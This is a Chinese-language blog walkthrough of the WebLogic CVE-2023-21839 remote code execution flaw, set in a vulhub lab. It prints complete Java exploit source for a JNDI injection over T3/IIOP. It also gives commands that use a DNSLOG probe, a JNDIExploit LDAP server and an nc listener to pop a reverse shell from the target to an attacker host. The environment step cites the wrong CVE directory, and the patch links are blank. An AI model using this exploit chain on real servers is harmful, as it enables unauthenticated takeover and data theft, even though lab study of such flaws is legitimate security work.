漏洞原理
WebLogic 存在远程代码执行漏洞(CVE-2023-21839/CNVD-2023-04389),由于Weblogic IIOP/T3协议存在缺陷,当IIOP/T3协议开启时,允许未经身份验证的攻击者通过IIOP/T3协议网络访问攻击存在安全风险的WebLogic Server,漏洞利用成功WebLogic Server可能被攻击者接管执行任意命令导致服务器沦陷或者造成严重的敏感数据泄露。
影响版本:
Weblogic_Server 12.2.1.3.0、12.2.1.4.0、14.1.1.0.0
环境搭建:
1.切到 cd /vulhub-master/weblogic/CVE-2018-2894 目录下
2.docker-compose up -d 启动漏洞环境
3.访问:http://your-ip:7001/console
如图所示,即为搭建成功。
搭建环境参考:vulhub docker靶场搭建-CSDN博客
漏洞利用
访问http://127.0.0.1:7001/console/login/LoginForm.jsp,漏洞环境已经起来
注:本次目的就是反弹漏洞靶场服务器A的shell
利用方式
DNSLOG探测
EXP链接:https://github.com/DXask88MA/Weblogic-CVE-2023-21839(jar包形式)
源码poc:
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.lang.reflect.Field;
import java.util.Hashtable;
import java.util.Random;
public class CVE_2023_21839 {
static String JNDI_FACTORY="weblogic.jndi.WLInitialContextFactory";
static String HOW_TO_USE="[*]java -jar 目标ip:端口 ldap地址\ne.g. java -jar 192.168.220.129:7001 ldap://192.168.31.58:1389/Basic/ReverseShell/192.168.220.129/1111";
private static InitialContext getInitialContext(String url)throws NamingException
{
Hashtable<String,String> env = new Hashtable<String,String>();
env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env.put(Context.PROVIDER_URL, url);
return new InitialContext(env);
}
public static void main(String args[]) throws Exception {
if(args.length <2){
System.out.println(HOW_TO_USE);
System.exit(0);
}
String t3Url = args[0];
String ldapUrl = args[1];
InitialContext c=getInitialContext("t3://"+t3Url);
Hashtable<String,String> env = new Hashtable<String,String>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
weblogic.deployment.jms.ForeignOpaqueReference f=new weblogic.deployment.jms.ForeignOpaqueReference();
Field jndiEnvironment=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
jndiEnvironment.setAccessible(true);
jndiEnvironment.set(f,env);
Field remoteJNDIName=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
remoteJNDIName.setAccessible(true);
remoteJNDIName.set(f,ldapUrl);
String bindName = new Random(System.currentTimeMillis()).nextLong()+"";
try{
c.bind(bindName,f);
c.lookup(bindName);
}catch(Exception e){ }
}
}
(1)使用攻击机B 执行exp脚本攻击靶场A, 执行exp需要java 1.8的环境,我用的kali2021
(2)需要先卸载源jdk11,在安装jdk1.8
参考:https://www.yuque.com/u2114382/odrch9/uhac2mnslbctxpwd
(3)攻击机执行以下命令后,刷新dnslog即可
java -jar Weblogic-CVE-2023-21839.jar 靶场ip:7001 ldap:// kejajb.dnslog.cn
反弹shell
(1)首先需要使用JNDIExploit-1.4-SNAPSHOT.jar工具启动ladp服务
下载链接:https://github.com/WhiteHSBG/JNDIExploit
(2)下载后需要在服务器C搭建ldap服务,其实就是启动上边那个jar包
java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 服务器Cip
(3)启动完成后还需进行端口监听,服务器C直接启动nc进行监听
(4)此时使用攻击机B执行exp
java -jar Weblogic-CVE-2023-21839.jar 靶场 IP:7001 ldap://ldap服务器IP:1389/Basic/ReverseShell/ldap服务器IP/nc监听端口
5)此时查看ldap服务器C,成功反弹shell
修复建议
目前厂商已发布升级补丁以修复漏洞,补丁获取链接:
缓解方式禁用 T3 及 IIOP
补丁下载链接:
版权归原作者 nuc_ddddsj 所有, 如有侵权,请联系我们删除。